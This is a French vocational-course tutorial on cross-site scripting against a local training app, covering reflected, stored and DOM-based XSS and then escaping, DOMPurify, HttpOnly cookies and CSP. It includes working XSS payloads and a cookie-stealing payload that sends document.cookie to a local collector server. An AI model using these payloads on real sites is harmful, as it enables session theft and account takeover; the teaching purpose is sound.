Aller au contenu
Réussir mon BTS SIO

Tape une notion, une commande ou le nom d'une épreuve.

Par exemple

XSS9 livrablesQuiz corrigé

XSS : injecter du script

Jusqu'ici tu injectais dans la base. Le XSS, lui, injecte dans le navigateur d'un autre utilisateur. Un libelle de frais piege, et quand le comptable ouvre la fiche, TON code s'execute chez lui : vol de session, actions a son insu. Aujourd'hui tu fabriques un XSS sur AppliFrais, puis tu blindes ta sortie.

Par Josselyn C., prof de BTS SIO. Publié le , mis à jour le .

Objectif
comprendre, exploiter et corriger les failles XSS (reflected, stored, DOM) sur AppliFrais
On manipule
AppliFrais en local, React, l'echappement de sortie, une CSP
Pre-requis
injection SQL/NoSQL, AppliFrais (front React, saisie de fiches)

Cadre legal : AppliFrais LOCAL uniquement. Injecter du script chez un tiers est un delit penal (art. 323-1 et s. du Code penal).

Avant de commencer

Pourquoi cette seance

Le XSS (Cross-Site Scripting, famille OWASP A03 Injection) est l'injection cote client. L'idee : faire en sorte qu'une application affiche, sans le neutraliser, du code JavaScript fourni par l'attaquant. Ce code s'execute alors dans le navigateur de la victime, avec ses droits : il peut voler son cookie de session, son token, soumettre des actions en son nom, modifier la page. Sur AppliFrais, le scenario type : un visiteur malveillant met un script dans le libelle d'un frais ; quand le comptable ouvre la fiche pour la valider, le script s'execute chez le comptable, qui a plus de droits. Aujourd'hui tu le fabriques, puis tu fermes la porte.

Mode d'emploi — tu avances en autonomie

Ce que tu vas apprendre

ConceptCe que tu sauras faire
Le mecanismeexpliquer comment une donnee affichee devient du code execute
XSS reflectedinjecter via un parametre renvoye dans la page (lien piege)
XSS storedpieger une fiche, frapper le comptable qui l'ouvre (escalade)
XSS DOM-basedreconnaitre un XSS qui n'atteint jamais le serveur
Impact reelvol de cookie/token, actions a l'insu de la victime
Defense sortieechappement, React auto-escape, DOMPurify
Defense profondeurcookie HttpOnly, CSP via helmet, pourquoi la blacklist echoue

Vocabulaire de depart

MotEn une phrase
Payloadla charge injectee (ici un bout de HTML/JS qui prouve l'execution)
Echappertransformer < > en entites pour AFFICHER au lieu d'EXECUTER
Sortiel'endroit ou la donnee est reaffichee a l'ecran (vs l'entree = la saisie)
Token / sessionle secret qui prouve « je suis connecte » ; voler = se faire passer pour la victime

0. Comment une donnee devient du code

Une page web est du HTML. Le navigateur lit ce HTML et execute toute balise <script> qu'il rencontre, ainsi que les gestionnaires d'evenements (onerror, onload...). Le XSS exploite ca : si une application insere une donnee utilisateur dans le HTML sans la neutraliser, et que cette donnee contient une balise, le navigateur l'execute comme du vrai code.

Le coeur du probleme : innerHTML interprete le HTML

// VULNERABLE -- insertion brute dans le HTML
element.innerHTML = "Bonjour " + nomUtilisateur;

Le payload le plus simple (pour tester) — page de labo

Cree un fichier page-test.html sur ta machine et ouvre-le dans le navigateur :

html
<div id="zone"></div>
<script>
  // on simule une donnee venue d'un utilisateur
  const saisie = "<img src=x onerror=alert('XSS')>";
  document.getElementById('zone').innerHTML = "Bonjour " + saisie;
</script>

Sortie attendue a l'ecran :

Ce que tu dois voir
une fenetre popup du navigateur s'affiche :

  +-------------------------------+
  |  Cette page indique           |
  |                               |
  |       XSS                     |
  |                  [  OK  ]     |
  +-------------------------------+

preuve : TON code (alert) tourne dans la page. La frontiere
donnee --> code a ete franchie, comme pour l'injection SQL,
mais cette fois DANS LE NAVIGATEUR.

Flag A1

Checkpoint

Sur ta page-test.html, affiche une donnee via innerHTML et declenche un alert avec <img src=x onerror=alert(1)>.

Rends : une capture de l'alerte + une phrase « pourquoi innerHTML est dangereux ici, alors que textContent ne le serait pas ».

0 sur 9 dans cette étape

1. XSS reflechi (reflected)

Le XSS reflechi : le code injecte part dans une requete (souvent un parametre d'URL) et revient immediatement dans la page de reponse, sans etre stocke. L'attaquant fabrique un lien piege et le fait cliquer a la victime (phishing).

La page vulnerable

// page de recherche VULNERABLE
// URL appelee : /recherche?q=chaussures
resultat.innerHTML = "Resultats pour : " + req.query.q;

Le lien piege (preuve inoffensive : alert)

Ce que tu dois voir
lien envoye a la victime (preuve, ne vole rien) :
/recherche?q=<img src=x onerror=alert('reflected')>

--> la victime clique --> la page reflete le payload
--> le navigateur execute --> popup "reflected"
Ce que tu dois voir
variante demonstrative (collecteur sur TA machine, localhost) :
/recherche?q=<img src=x onerror="new Image().src=
   'http://localhost:9000/collecte?c='+document.cookie">

--> le payload lit document.cookie et l'envoie a un petit
    serveur de DEMO que TU as lance sur localhost:9000
--> tu vois le cookie arriver dans les logs de TON serveur

Construction incrémentale — le collecteur de démonstration local

Pour voir le payload exfiltrer des données vers ton propre serveur, on construit le collecteur en 3 étapes atomiques. Rien ne quitte ta machine.

Étape 1 — Lancer le collecteur Python

powershell
python3 -m http.server 9000
Ce que tu dois voir
Serving HTTP on :: port 9000 (http://[::]:9000/) ...
  → le collecteur est prêt ; garde ce terminal ouvert

Étape 2 — Le payload qui envoie vers ce collecteur

html
<img src=x onerror="new Image().src=
  'http://localhost:9000/c?v='+encodeURIComponent(document.cookie)">

Étape 3 — Ce que tu lis dans le terminal du collecteur

Ce que tu dois voir
127.0.0.1 - - [03/Jul/2026 09:14:22] "GET /c?v=token%3DeyJhbGci...
                                                ^^^^^^^^^^^^^^^^^^^^^^^^
                                                le token JWT du comptable s'affiche ici
                                                décodé : token=eyJhbGci...

  → en local, tu visualises l'exfiltration
  → en prod réelle, ce serait le JWT d'un vrai compte comptable

Flag B1

Production (reflected)

Sur ton labo (une page qui reflete un parametre — ou DVWA niveau low), declenche un XSS reflechi via l'URL. Un alert suffit, ne vole rien de reel.

Rends : l'URL piegee + la capture de l'execution + une phrase sur le role du phishing ici (pourquoi l'attaque a besoin d'un clic).

0 sur 9 dans cette étape

2. XSS stocke (stored) — le plus grave

Le XSS stocke : le code injecte est enregistre (en base) et reaffiche a chaque consultation, a tous les utilisateurs qui voient la donnee. Pas besoin de phishing : la victime n'a qu'a ouvrir une page normale, dans le cadre de son travail.

Le scenario AppliFrais

Ce que tu dois voir
1. un VISITEUR saisit un frais avec un libelle piege :
   libelle = "Repas <img src=x onerror=alert(document.cookie)>"
2. le frais est enregistre en base (sa propre fiche)
3. le COMPTABLE ouvre la fiche pour la valider
4. l'appli affiche le libelle sans l'echapper
   --> le script s'execute CHEZ LE COMPTABLE, avec SA
       session (role comptable = plus de droits)

Le flux, en image

Le payload voyage du visiteur vers la base, puis s'execute dans le navigateur du comptable.

Le payload voyage du visiteur vers la base, puis s'execute dans le navigateur du comptable.

Reflected vs stored vs DOM-based

CritereReflectedStoredDOM-based
Ou vit le payloaddans l'URL / la requeteen base de donneesdans le DOM, cote client
Passe par le serveuroui (reflechi)oui (stocke)non (pas forcement)
Declencheurvictime clique un lien piegevictime ouvre une page normaleURL avec fragment piege (#)
Persistanceephemere (1 requete)persistant, rejoue a chaque vuevariable
Gravite typiquemoyenne (besoin d'un clic)haute (zero interaction, escalade)variable

Flag B2

Production (stored)

Sur AppliFrais local, saisis un frais dont le libelle contient un payload XSS, puis ouvre la fiche depuis un autre compte (le comptable).

Rends : le payload saisi + la capture de l'execution cote comptable + l'analyse de l'escalade de privileges.

Tu viens de frapper un compte plus puissant que le tien.

0 sur 9 dans cette étape

3. La defense n°1 : echapper la sortie

La regle d'or du XSS : l'injection se corrige a la SORTIE, pas (seulement) a l'entree. Au moment d'afficher une donnee, on l'echappe : on transforme les caracteres speciaux HTML en entites inoffensives.

CaractereEchappe enEffet
<&lt;affiche comme texte, pas interprete comme balise
>&gt;idem (ferme la balise)
&&amp;protege les entites elles-memes
"&quot;protege la valeur d'un attribut
'&#39;protege un attribut en quotes simples

Les 4 contextes de sortie — la règle du contexte (détail pro)

Erreur classique : « j'échappe le HTML, je suis protégé ». Faux si la donnée atterrit dans un contexte non-HTML. Les caractères dangereux changent selon l'endroit où la donnée est insérée.

Contexte de sortieExemple vulnérablePayload d'attaqueParade correcte
Corps HTML<p>{variable}</p><img onerror=alert(1)>Échapper < > & " ' en entités. React le fait avec {variable}.
Attribut HTML non guillemété<input value={variable}>" onmouseover=alert(1) x="Toujours mettre les attributs entre guillemets ET échapper " → &quot;. En JSX, ce n'est jamais un problème car React gère.
Contexte JavaScriptvar x = "{variable}"; (template SSR)"; alert(1); //JSON.stringify() ou encodage \uXXXX — HTML escaping seul est insuffisant ici : < → &lt; ne ferme pas la chaîne JS.
Contexte URL<a href="/r?next={variable}">javascript:alert(1)encodeURIComponent() + valider le schéma : accepter uniquement http:// ou https://, rejeter javascript: et data:.
Contexte CSSstyle="color:{variable}"expression(alert(1)) (IE legacy) ou url('javascript:...')Éviter les styles dynamiques libres ; si nécessaire, valider par regex stricte (ex. /^#[0-9a-f]{6}$/i pour une couleur).

Sortie attendue, une fois la sortie echappee

Ce que tu dois voir
le comptable ouvre la fiche piegee. A l'ecran, il lit :

  Repas <img src=x onerror=alert(document.cookie)>

le payload s'AFFICHE comme du texte. Aucune popup.
Aucune image. Le script ne s'execute plus.

React echappe par defaut (et le piege dangerouslySetInnerHTML)

// SUR -- React echappe automatiquement les accolades
<span>{fiche.libelle}</span>   // un <script> saisi s'affiche en texte

// DANGEREUX -- contourne la protection de React
<span dangerouslySetInnerHTML={{ __html: fiche.libelle }} />

Et si je DOIS afficher du HTML riche ? DOMPurify

python
import DOMPurify from 'dompurify';

// on assainit AVANT d'injecter le HTML
<span dangerouslySetInnerHTML={{
  __html: DOMPurify.sanitize(fiche.libelle)
}} />
Ce que tu dois voir
entree : "<b>Repas</b> <img src=x onerror=alert(1)>"
DOMPurify.sanitize -> "<b>Repas</b> "
  --> le gras est garde, le <img onerror> est supprime

Exemple travaillé — la fiche de frais AppliFrais, de la faille au correctif

On suit le champ libelle depuis la saisie visiteur jusqu'à l'affichage comptable, en montrant le code exact à chaque étape.

Situation initiale — le composant React vulnérable

// components/FicheFrais.jsx — VERSION VULNÉRABLE
function FicheFrais({ fiche }) {
  return (
    <div className="fiche">
      <p>Montant : {fiche.montant} €</p>
      <p dangerouslySetInnerHTML={{ __html: fiche.libelle }} />
    </div>
  );
}
Ce que tu dois voir
comptable ouvre la fiche → HTML rendu dans son navigateur :
  <p><img src="x" onerror="alert(document.cookie)"></p>
  → image rate → onerror → popup avec le cookie du comptable

Correctif 1 — Texte pur avec React (le plus sûr, 99 % des cas)

// components/FicheFrais.jsx — CORRIGÉ (texte pur)
function FicheFrais({ fiche }) {
  return (
    <div className="fiche">
      <p>Montant : {fiche.montant} €</p>
      <p>{fiche.libelle}</p>
    </div>
  );
}
Ce que tu dois voir
comptable ouvre la fiche → affiche à l'écran :
  Repas <img src=x onerror=alert(document.cookie)>
  → texte pur, aucune balise créée, aucune exécution

Correctif 2 — HTML riche via DOMPurify (si la mise en forme est vraiment nécessaire)

python
// components/FicheFrais.jsx — CORRIGÉ (HTML riche + DOMPurify)
import DOMPurify from 'dompurify'; // npm install dompurify

function FicheFrais({ fiche }) {
  const propre = DOMPurify.sanitize(fiche.libelle, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'br'],
    ALLOWED_ATTR: [],   // aucun attribut → aucun onerror, aucun href
  });
  return (
    <div className="fiche">
      <p>Montant : {fiche.montant} €</p>
      <p dangerouslySetInnerHTML={{ __html: propre }} />
    </div>
  );
}
Ce que tu dois voir
libellé saisi  : "Repas <b>client</b> <img src=x onerror=alert(1)>"
DOMPurify renvoie : "Repas <b>client</b> "
  → <b> conservé (liste blanche), <img> supprimé
  → affichage : "Repas client" en gras, aucun script

Flag B3

Production (corriger)

Corrige l'affichage vulnerable : si AppliFrais utilise dangerouslySetInnerHTML / innerHTML sur un libelle, remplace par l'affichage echappe ({libelle}) ou assainis avec DOMPurify. Re-tente le payload du Flag B2.

Rends : le code corrige + la preuve (capture) que le script s'affiche comme texte au lieu de s'executer.

0 sur 9 dans cette étape

Flag C1

Debug d'un faux correctif

Un developpeur « corrige » en retirant la chaine <script> de l'entree :

// faux correctif (blacklist d'entree)
libelle = libelle.replace(/<script>/gi, '');

Trouve un payload qui passe quand meme (indice : il n'y a pas le mot « script » dedans) et fais-le s'executer. Puis explique en une phrase pourquoi ce correctif est faux.

Rends : le payload qui contourne + la capture de l'execution + ta phrase.

0 sur 9 dans cette étape

4. Defense en profondeur

L'echappement de sortie tue le XSS a la racine. On empile ensuite des couches qui limitent les degats si une faille passe malgre tout.

CoucheMesureCe qu'elle apporte
Sortieechappement / React / DOMPurifytue le XSS a la racine
CookieHttpOnly sur le cookie de sessionle JS ne peut PLUS lire le cookie -> vol bloque
En-teteContent-Security-Policy (CSP)le navigateur refuse les scripts inline injectes
Entreevalidation (longueur, type)reduit la surface, complement utile (jamais seul)
// au login, on pose le JWT dans un cookie HttpOnly
res.cookie('token', jwt, {
  httpOnly: true,    // invisible pour document.cookie
  sameSite: 'strict',
  secure: true       // HTTPS uniquement (en prod)
});
Ce que tu dois voir
console du navigateur, apres XSS, cookie en HttpOnly :
> document.cookie
'' (vide cote token)
  --> le payload "...+document.cookie" ne recupere RIEN

C'est un choix d'architecture que tout développeur SLAM doit savoir argumenter. Voici les critères pro :

CritèrelocalStorage / sessionStorageCookie HttpOnly (+ Secure + SameSite)
Lisible par JavaScriptOui — localStorage.getItem('token')Non — invisible pour document.cookie si HttpOnly
Volable par XSSOui — un seul alert(localStorage.getItem('token'))Non (HttpOnly bloque l'accès JS)
Vulnérable au CSRFNon (le navigateur ne l'envoie pas automatiquement)Oui si pas de SameSite=Strict/Lax — atténué par SameSite
Expiration gérée côtéClient (l'appli lit et compare l'exp du JWT)Serveur + navigateur (Max-Age ou Expires)
Taille max~5 Mo par origine~4 Ko par cookie (tous cookies confondus : ~80 Ko par domaine)
Accessible en SPA (React)Oui, facilementOui — le navigateur l'envoie automatiquement dans les requêtes fetch/axios si credentials: 'include'
Risque principalVol par XSSCSRF (atténué), transmission non chiffrée si pas de HTTPS
Recommandation OWASPÀ éviter pour les tokens de sessionPréféré — OWASP recommande cookie HttpOnly + SameSite

Couche en-tête : CSP via helmet (Express)

La Content-Security-Policy (CSP) est un en-tête HTTP qui dit au navigateur quels scripts il a le droit d'exécuter. Valeur fondamentale : même si un XSS franchit l'échappement, le navigateur refuse d'exécuter les scripts non autorisés.

Étape 1 — helmet() seul, en-têtes par défaut

const helmet = require('helmet');  // npm install helmet
app.use(helmet());                 // active TOUS les en-têtes de sécurité par défaut
En-tête activé par helmet 7.xValeur par défautCe qu'il bloque / apporte
Content-Security-Policydefault-src 'self'; script-src 'self'; ...scripts inline injectés, ressources externes non listées
X-Content-Type-OptionsnosniffMIME sniffing → un fichier image qui contient du JS ne s'exécuterait pas
X-Frame-OptionsSAMEORIGINclickjacking (page chargée dans une <iframe> tierce)
Strict-Transport-Securitymax-age=15552000; includeSubDomains (~180 jours)force HTTPS même si l'utilisateur tape http://
X-XSS-Protection0 (désactivé volontairement)le filtre XSS natif des anciens navigateurs était contournable et créait de nouveaux vecteurs — le désactiver est plus sûr

Étape 2 — CSP fine avec nonce (JS inline légitime sans 'unsafe-inline')

const crypto = require('crypto');

// middleware : un nonce unique par requête (128 bits = 16 octets minimum, recommandation W3C)
app.use((req, res, next) => {
  res.locals.nonce = crypto.randomBytes(16).toString('base64');
  // → ex. "7cZm9XkPq3wRfYaB..."  (24 chars en base64)
  next();
});

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc:  ["'self'"],
    scriptSrc:   ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
    styleSrc:    ["'self'", "'unsafe-inline'"],  // peut être nécessaire selon ton bundler
    imgSrc:      ["'self'", "data:", "https:"],
    connectSrc:  ["'self'"],
    reportUri:   ["/csp-violations"],  // le navigateur rapporte les violations ici
  }
}));

// endpoint de collecte des violations CSP (journalisation défensive)
app.post('/csp-violations', express.json({ type: 'application/csp-report' }), (req, res) => {
  console.warn('[CSP VIOLATION]', JSON.stringify(req.body, null, 2));
  res.status(204).end();
});
Ce que tu dois voir
console du navigateur — payload bloqué par la CSP :

Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self' 'nonce-XyzA...'".
Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce
('nonce-...') is required to enable inline execution.

  → même injecté, le script ne tourne pas.
  → le serveur reçoit un rapport JSON dans /csp-violations.

Flag B4

Production (durcir)

Ajoute 2 couches a AppliFrais : le flag HttpOnly sur le cookie/token de session ET un en-tete CSP basique (via helmet).

Rends : le code + une explication : pourquoi, meme si un XSS passait, le vol de session serait bloque.

0 sur 9 dans cette étape

Flag D1

Investigation (CSP)

Va lire la doc OWASP / MDN sur la Content-Security-Policy. Reponds (sources a l'appui) :

  1. Que fait la directive 'unsafe-inline' et pourquoi est-elle dangereuse vis-a-vis du XSS ?\
  2. A quoi sert un nonce CSP ?

Rends : tes 2 reponses + les liens consultes.

0 sur 9 dans cette étape

5. XSS DOM-based

Le XSS DOM-based est le cas ou le payload n'atteint jamais le serveur : tout se joue cote client, dans du JavaScript qui lit une source controlee par l'utilisateur (souvent le fragment d'URL, apres le #) et l'ecrit dans la page.

// VULNERABLE -- DOM-based
// le code lit le fragment d'URL et l'injecte
const cible = location.hash.substring(1);   // tout ce qui suit #
document.getElementById('zone').innerHTML = cible;
Ce que tu dois voir
URL piegee (le payload est apres le #) :
http://localhost:5173/page#<img src=x onerror=alert('dom')>

--> le JS cote client lit le hash --> innerHTML --> execution
--> le serveur n'a JAMAIS recu le payload

Sources dangereuses et sinks dangereux — panorama DOM XSS

En DOM-based XSS, une source est un endroit où l'attaquant peut injecter des données ; un sink est un endroit du DOM qui exécute le code si on y passe la donnée brute. La vulnérabilité apparaît quand une source est connectée à un sink sans assainissement.

Sources (données contrôlées par l'attaquant)Exemples
Fragment URL (après #)location.hash
Paramètres URLlocation.search, new URLSearchParams(location.search).get('q')
Référent HTTPdocument.referrer
Données de formulairedocument.forms[0].elements['name'].value
Stockage navigateurlocalStorage.getItem(), sessionStorage.getItem() (si une autre faille a permis d'y écrire)
postMessagewindow.addEventListener('message', e => { ... e.data ... })
Sinks dangereux (exécutent le HTML/JS injecté)Alternative sûre
element.innerHTML = ...element.textContent = ... (texte pur, jamais interprété)
document.write(...)Manipulation DOM explicite (createElement + appendChild)
element.outerHTML = ...Reconstruire le DOM proprement
element.setAttribute('href', ...) si la valeur commence par javascript:Valider le schéma URL avant d'assigner
eval(...), setTimeout("code"), new Function("code")Ne jamais passer une chaîne utilisateur à ces fonctions
element.insertAdjacentHTML('...', ...)element.insertAdjacentText() ou DOMPurify avant

Activité — Auditer le code source d'AppliFrais pour les sinks XSS

Avant de corriger, il faut trouver tous les endroits dangereux dans le code. Voici la méthode d'audit manuelle à appliquer dès maintenant sur le projet AppliFrais.

Étape 1 — Chercher les sinks innerHTML dans le front React

# depuis la racine du projet AppliFrais, dossier front
grep -rn --include="*.jsx" --include="*.js" \
  "innerHTML\|dangerouslySetInnerHTML\|outerHTML\|document\.write" \
  src/
Ce que tu dois voir
src/components/FicheFrais.jsx:42:    <p dangerouslySetInnerHTML={{ __html: fiche.libelle }} />
src/utils/rendu.js:18:      element.innerHTML = contenu;
  → 2 sinks à inspecter → reviens sur chaque occurrence et vérifie si la donnée
    vient d'un utilisateur ou d'une source interne contrôlée

Étape 2 — Chercher les sources DOM contrôlées par l'utilisateur

grep -rn --include="*.jsx" --include="*.js" \
  "location\.hash\|location\.search\|document\.referrer\|localStorage\.getItem" \
  src/
Ce que tu dois voir
src/pages/RetourAuth.jsx:11:  const next = new URLSearchParams(location.search).get('next');
  → inspecter : la valeur de "next" est-elle utilisée dans un href ?
    si oui, valider le schéma (rejeter "javascript:" et "data:")

Étape 3 — Automatiser avec ESLint (contrôle à chaque commit)

# installer le plugin
npm install --save-dev eslint-plugin-security

# .eslintrc.js — ajouter à la config existante
module.exports = {
  plugins: ['security'],
  extends: ['plugin:security/recommended'],
};
Ce que tu dois voir
$ eslint src/utils/rendu.js

  27:3  warning  eval with argument of type Identifier  security/detect-eval-with-expression
  → ESLint te signale le sink avant même que le code parte en prod

Flag E1

Extension (DOM-based)

Sur ton labo, fabrique un XSS DOM-based via location.hash (un alert suffit). Puis corrige-le en remplacant innerHTML par textContent.

Rends : l'URL piegee + la capture + une phrase : en quoi le DOM-based differe du reflected (qui voit le payload, qui ne le voit pas).

0 sur 9 dans cette étape

Nuance métier — RGPD, ANSSI et impact à l'échelle

Le XSS du point de vue légal et réglementaire

Un XSS stocké sur AppliFrais n'est pas juste un bug technique : c'est potentiellement une violation de données à caractère personnel au sens du RGPD, avec des conséquences légales concrètes.

AngleCe que ça implique concrètementArticle / référence
Obligation de sécurité techniqueL'organisation qui traite des DCP (ici : données de frais, identités des visiteurs médicaux) doit mettre en œuvre des mesures « appropriées » — l'échappement de sortie et le HttpOnly en font partie.RGPD art. 32
Notification de violationSi un XSS a permis de voler des tokens ou d'exfiltrer des données : notification à la CNIL dans les 72 heures, et aux personnes concernées si le risque est élevé.RGPD art. 33 et 34
Amende administrativeJusqu'à 10 M€ ou 2 % du CA mondial (manquement art. 32) ; jusqu'à 20 M€ ou 4 % du CA mondial (violation plus grave). La CNIL a prononcé des amendes pour défaut de mesures de sécurité.RGPD art. 83 §4 et §5
Responsabilité pénale de l'attaquantInjecter un script chez un tiers = accès frauduleux (art. 323-1 CP) : 3 ans / 100 000 €. Si le vol de session a conduit à des transactions frauduleuses, d'autres infractions s'ajoutent.C. pénal art. 323-1 à 323-7
Référentiel ANSSILe Guide de sécurité des applications web (ANSSI DCSSI/NP/083) recommande explicitement l'échappement de sortie contextuel, les en-têtes CSP, et HttpOnly. Une application sans ces mesures échoue un audit ANSSI.ANSSI — Guide sécurité applications web

Impact à l'échelle — ce que le XSS peut faire dans un vrai SI

Sur AppliFrais labo, le XSS déclenche un alert(). Dans un SI réel :

Scénario réelCe qui se passeImpact métier
Vol du JWT comptableLe script lit localStorage.getItem('token') ou un cookie non-HttpOnly et l'exfiltre vers un serveur attaquantL'attaquant valide et modifie des fiches de frais à l'insu du comptable — fraude financière
Keylogger injectéLe script ajoute un listener keydown sur le formulaire de saisieCapture identifiants et mots de passe de tous les utilisateurs du SI
Redirection silencieuseLe script remplace le formulaire de login par une copie piégée (innerHTML de la page)Phishing interne indétectable — les victimes voient une vraie URL d'entreprise
Worm XSSLe script stocké se reproduit en créant d'autres entrées pièges dans la base pour d'autres victimesPropagation automatique dans toute l'application (ex. MySpace Samy Worm, 2005 : 1 M de comptes infectés en 20h)

DOMPurify en production — configuration avancée

python
import DOMPurify from 'dompurify';  // npm install dompurify (~50 ko minzipped)

// Configuration restrictive (HTML riche = texte + mise en forme, zéro JS)
const config = {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'ul', 'ol', 'li', 'p', 'br'],
  ALLOWED_ATTR: [],       // aucun attribut autorisé (pas de href, pas d'id)
};

function afficherLibelle(libelle) {
  return DOMPurify.sanitize(libelle, config);
}

// Usage :
// <span dangerouslySetInnerHTML={{ __html: afficherLibelle(fiche.libelle) }} />

6. Mini-projet : rapport de vulnerabilite

La mission

Redige le rapport (format E7) du XSS stocke trouve sur AppliFrais, en 5 sections :

  1. Description : XSS stocke (A03), ou (libelle de frais), type ;
  2. Preuve : le payload + le scenario (visiteur pose, comptable ouvre) + capture ;
  3. Impact : escalade de privileges, vol de session, actions a l'insu du comptable ;
  4. Correction : echappement de sortie (React / DOMPurify) + HttpOnly + CSP ;
  5. Verification : le payload s'affiche en texte, ne s'execute plus (capture avant/apres).

Flag B5

Mini-projet (livrable)

Redige le rapport complet du XSS d'AppliFrais (5 sections) et mets a jour ta carte de menace (ligne A03 XSS : expose -> corrige).

Rends : ton rapport + la ligne mise a jour de la carte de menace.

0 sur 9 dans cette étape

Pour finir

L'essentiel

NotionA retenir
causeune donnee affichee sans echappement devient du code dans le navigateur
typesreflected (lien piege), stored (en base, le plus grave), DOM (cote client)
impactvol de session/token, escalade de privileges, actions a l'insu
parade n°1echapper la SORTIE (React le fait) ; DOMPurify si HTML riche
profondeurHttpOnly + CSP en renfort ; la blacklist d'entree est contournable

Verifie tes acquis

Exercice Réussi À revoir

  1. Pourquoi une donnee affichee peut-elle devenir du code execute ? (role de innerHTML)
  2. Difference entre XSS reflected, stored et DOM-based ?
  3. Pourquoi le stored XSS est-il le plus dangereux (escalade de privileges) ?
  4. Pourquoi corrige-t-on le XSS a la sortie plutot qu'a l'entree ?
  5. Comment React protege-t-il par defaut, et quel est le piege a eviter ?
  6. A quoi servent HttpOnly et la CSP, et pourquoi un token en localStorage pose probleme ?
Voir le corrigéMasquer le corrigé de l'exercice

1. Pourquoi une donnée affichée peut-elle devenir du code exécuté ? — Parce que le navigateur interprète innerHTML comme du HTML : toute balise insérée devient un vrai élément du DOM. Si la donnée contient <img onerror=alert(1)>, le navigateur crée l'image, échoue à la charger, et déclenche onerror. Avec textContent, la même donnée est traitée comme du texte pur et jamais interprétée.

2. Reflected / Stored / DOM-based ? — Reflected : injecté dans une requête, renvoyé immédiatement, pas persistant (besoin d'un clic). Stored : enregistré en base, rejoué à chaque vue pour tous les utilisateurs (zéro clic). DOM-based : se joue entièrement côté client (location.hash→innerHTML), le serveur ne voit jamais le payload.

3. Pourquoi le stored XSS est-il le plus grave ? — Parce que la victime n'a pas besoin de cliquer un lien piégé (User Interaction: None au CVSS), et que le script s'exécute avec les droits de la victime — souvent plus élevés que ceux de l'attaquant (escalade de privilèges). Un visiteur peut ainsi piéger un comptable.

4. Pourquoi corriger à la SORTIE plutôt qu'à l'entrée ? — Parce que les listes noires d'entrée sont toujours contournables (il y a des dizaines de vecteurs sans balise <script>). L'échappement à la sortie, lui, fonctionne par liste blanche de représentation (transformer < en entité), sans dépendre de l'exhaustivité des vecteurs connus.

5. Comment React protège-t-il par défaut, et quel est le piège ? — En affichant {variable} dans JSX, React échappe automatiquement les caractères spéciaux HTML. Le piège : utiliser dangerouslySetInnerHTML={{ __html: variable }} ou manipuler le DOM directement avec innerHTML — ce sont les deux seules façons de contourner la protection de React.

6. HttpOnly, CSP, localStorage ? — HttpOnly rend le cookie invisible à JavaScript (document.cookie ne le voit plus) → un XSS ne peut plus voler la session par ce biais. La CSP dit au navigateur quels scripts sont autorisés → même injecté, un script inline est refusé si non listé. Un token en localStorage est lisible par n'importe quel JS de la même origine → un XSS le vole en une ligne.

Tu avais trouvé ?

Glossaire

MotDefinition
XSSinjection de script execute dans le navigateur d'une victime
ReflectedXSS renvoye immediatement par une requete (lien piege)
StoredXSS enregistre en base, rejoue a chaque consultation
DOM-basedXSS qui se joue cote client, sans passer par le serveur
Echappementtransformer < > en entites pour afficher sans executer
Escalade de privilegesun attaquant faible droits fait executer son code chez une victime a forts droits
DOMPurifybibliotheque qui assainit du HTML riche (retire script/onerror)
HttpOnlycookie inaccessible au JavaScript (anti-vol de session)
CSPen-tete qui restreint les scripts autorises par le navigateur

XSS terminé ?

Coche chaque livrable quand tu l'as : c'est la preuve que l'étape est acquise.

livrables
–
quiz réussi
–
de série
–
Passer à l'étape suivante : Broken Access ControlVoir toutes les étapes du TP